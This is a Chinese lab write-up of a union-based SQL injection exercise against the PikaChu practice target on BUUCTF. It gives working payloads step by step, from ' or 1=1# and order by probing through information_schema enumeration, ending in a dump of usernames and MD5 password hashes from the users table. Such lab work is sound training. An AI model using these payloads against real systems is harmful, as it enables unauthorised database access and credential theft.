本文章仅供学习和参考!
欢迎交流~
一、实验题目:联合注入
二、环境准备:
漏洞练习平台:https://buuoj.cn/
三、实验过程:
1. 启动靶机:进入“buuctf”-->左边列表选择“Basic”-->右边选择“PikaChu”
2. 初始化安装:
3. 在左边列表选择“SQL-Inject”-->“字符型注入(get)”:
4. 寻找注入点:先输入一个单引号,提交后报错的话,说明SQL语句错误,即存在注入点。
5. 构造如下payload,取出表中的全部数据
命令:' or 1=1#
结果如下:
6. 使用如下order by语句确认主查询有多少个字段:
命令:
' or 1=1 order by 1#
' or 1=1 order by 2#
' or 1=1 order by 3#
........
结果如下:
当order by 3时报错,说明主查询中有2个字段。
7. 通过下面的语句来获取当前数据库的名称
命令:' union select database(),user() #
结果如下:
数据库名称为pikachu
8. 通过information_schema语句来查询pikachu中的表名:
命令:' union select table_schema,table_name from information_schema.tables where table_schema='pikachu' #
结果如下:
9. 获取表名后,继续查询表中的列名,比如查询users这个表:
命令:' union select table_name,column_name from information_schema.columns where table_name='users' #
结果如下:
此时已知道数据库名为pikachu,其中一个表名为users,可以明显的看到这个
有username和password字段。
10. 通过如下语句来获取users表的用户名以及密码:
命令:' union select username,password from users #
结果如下:
这时已获得经过md5加密的密码。
四、实验总结:
1.SQL注入原理:
程序命令没能对用户输入的内容能作出正确的处理,导致执行非预期命令或访问数据,即接受的相关参数未经正确处理直接带入数据库进行查询操作。
2.SQL注入漏洞的产生满足两个条件:
(1)参数用户可控,即前段传给后端的参数内容是用户可以控制的
(2)参数带入数据库查询,即传入的参数拼接到SQL语句并带入数据库查询